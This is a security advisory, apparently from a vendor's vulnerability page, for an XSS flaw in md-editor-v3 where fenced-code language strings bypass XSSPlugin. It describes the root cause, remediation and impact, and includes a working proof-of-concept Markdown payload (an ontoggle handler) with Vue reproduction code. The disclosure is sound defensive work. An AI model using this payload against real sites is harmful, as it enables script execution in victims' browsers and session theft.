Summary
md-editor-v3: XSS via fenced-code language rendering bypass
MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.
Details
useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.
PoC
The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:
import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';
config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
{ editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');
Create and run the app, replacing src/main.js when indicated:
npm create vite@latest poc -- --template vue
cd poc
npm install
npm install [email protected]
# Replace src/main.js with the code above.
npm run dev
Opening the displayed URL automatically shows the application hostname in an alert.
Impact
An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-84992 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.5.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.
Frequently Asked Questions
- What is CVE-2026-84992? CVE-2026-84992 is a medium-severity cross-site scripting (XSS) vulnerability in md-editor-v3 (npm), affecting versions <= 6.5.3. It is fixed in 6.5.4. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-84992? CVE-2026-84992 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of md-editor-v3 are affected by CVE-2026-84992? md-editor-v3 (npm) versions <= 6.5.3 is affected.
- Is there a fix for CVE-2026-84992? Yes. CVE-2026-84992 is fixed in 6.5.4. Upgrade to this version or later.
- Is CVE-2026-84992 exploitable, and should I be worried? Whether CVE-2026-84992 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-84992 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-84992? Upgrade
md-editor-v3to 6.5.4 or later.